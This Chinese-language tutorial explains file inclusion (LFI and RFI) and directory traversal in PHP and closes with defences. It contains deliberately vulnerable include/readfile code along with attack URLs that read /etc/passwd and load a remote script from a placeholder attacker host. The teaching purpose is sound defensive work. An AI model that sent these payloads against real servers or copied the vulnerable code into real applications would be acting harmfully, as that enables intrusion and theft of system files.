文章目录
一、文件包含(File Inclusion)
文件包含漏洞允许攻击者通过构造特定的请求,让服务器包含并执行一个非预期的文件。根据文件来源的不同,文件包含漏洞可以分为本地文件包含(Local File Inclusion, LFI)和远程文件包含(Remote File Inclusion, RFI)。
1. 本地文件包含(LFI)
LFI漏洞允许攻击者包含并执行服务器上的本地文件。这通常发生在Web应用程序动态地包含用户输入的文件名时,没有对文件名进行严格的验证和过滤。
案例分析:
假设有一个PHP应用程序,它使用include()
函数来动态包含用户指定的文件:
<?php
$file = $_GET['page'];
include($file . '.php');
?>
攻击者可以通过构造URL请求来尝试包含服务器上的敏感文件,如:
http://example.com/index.php?page=../../etc/passwd
如果服务器配置不当,这个请求可能会导致/etc/passwd
文件的内容被包含并执行(尽管在这个案例中,由于文件内容不是PHP代码,所以不会执行,但敏感信息会被泄露)。
2. 远程文件包含(RFI)
RFI漏洞允许攻击者包含并执行位于远程服务器上的文件。这通常发生在PHP配置允许通过URL包含文件(allow_url_include=On
)时。
案例分析:
假设服务器配置允许远程文件包含,并且有一个类似上述的漏洞:
<?php
$file = $_GET['page'];
include($file);
?>
攻击者可以构造URL请求来包含并执行远程服务器上的恶意文件:
http://example.com/index.php?page=http://attacker.com/malicious.php
如果服务器没有适当的防御措施,malicious.php
文件的内容将在服务器上执行,攻击者可能因此获得对服务器的控制权。
二、目录遍历(Directory Traversal)
目录遍历漏洞允许攻击者通过构造恶意请求,绕过应用程序的访问控制机制,访问本不应该被访问的文件或目录。这种漏洞通常发生在应用程序没有正确验证用户输入的文件路径时。
案例分析:
假设有一个Web应用程序,它允许用户通过URL参数指定要加载的图片文件:
<img src="/loadImage?filename=image.jpg">
后端代码可能简单地将用户输入的文件名附加到某个基础目录上,并尝试加载该文件:
<?php
$filename = $_GET['filename'];
$filePath = "/var/www/images/" . $filename;
// 这里缺少对$filename的验证
readfile($filePath);
?>
攻击者可以通过构造特殊的URL请求来尝试访问服务器上的其他文件或目录:
http://example.com/loadImage?filename=../../../etc/passwd
这个请求可能会绕过应用程序的访问控制,导致/etc/passwd
文件的内容被读取并返回给攻击者。
三、文件包含与目录遍历的区别
技术原理上:
- 文件包含:当文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来时,如果没有做足够的安全考虑,攻击者可以指定一个文件(通常是敏感文件或系统配置文件)让包含函数去执行,从而造成恶意操作或信息泄露。
- 目录遍历:由于web应用程序对用输入的文件名称的安全性验证不足导致的漏洞。攻击者通过一些特殊字符(如**…/)就可以绕过服务器的安全限制**,访问任意的文件(包括web根目录以外的文件)。
内容表现上:
- 文件包含:将目标文件的内容读取并插入到当前执行的脚本或HTML文件中,浏览器显示的是包含了目标文件内容的HTML页面。
- 目录遍历:访问到的就是目标文件本身,浏览器直接显示该文件的内容,而不是将其内容插入到其他HTML文件中。
URL形式上:
- 文件包含:攻击者通常会在URL中通过参数(如filename)传递要包含的文件名,文件名可能包含特殊字符以访问非预期的文件,也可能指向一个新的远程服务器文件。
如:**http://www.vuln.com/vlun.php?filename=…/…/etc/passwd**
- 目录遍历:攻击者直接在URL中通过特殊字符构造路径来访问目标文件,URL中的文件名部分可能包含多个…/来向上跳转目录;也可能是通过参数传递,但通常是访问该文件,而不能执行该文件。
如:**http://www.vuln.com/…/…/etc/passwd**
防御手段上:
- 文件包含:
- 避免将文件包含的代码写成变量,特别是当这个变量可以由前端用户控制时。
- 如果必须使用变量,就设置严格的白名单,只允许包含预定义的安全文件。
- 对包含函数的参数进行严格的验证和过滤,防止包含非预期的文件。
- 目录遍历:
- 对用户输入进行验证和过滤,禁止包含…/等字符。
- 设置文件访问权限,限制对敏感目录的访问。
- 使用安全的文件访问方式,如通过文件句柄或文件描述符访问文件。